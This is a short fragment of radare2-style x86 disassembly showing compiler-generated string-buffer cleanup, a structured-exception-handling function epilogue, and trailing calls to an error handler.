cmp ecx, 0xf
jbe 0x444919
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x444903
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a3b
push ecx
push edx
call fcn.00447c10
add esp, 8
jmp 0x444919
mov dword [0x6f7a30], 1
lea ecx, [ebp - 0x390]
call fcn.0043d8c0
lea ecx, [ebp - 0x2d8]
call fcn.0043d8c0
mov ecx, dword [ebp - 0x184]
cmp ecx, 0xf
jbe 0x444969
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44495f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a40
push ecx
push edx
call fcn.00447c10
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
cmp ecx, 0xf
jbe 0x4449be
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4449b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a40
push ecx
push edx
call fcn.00447c10
add esp, 8
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp ecx, 0xf
jbe 0x444a0f
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x444a05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a40
push ecx
push edx
call fcn.00447c10
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0044dffe
call fcn.0044dffe
call fcn.0044dffe
call fcn.0044dffe
call fcn.0044dffe
call fcn.0044dffe
call fcn.0044dffe
int3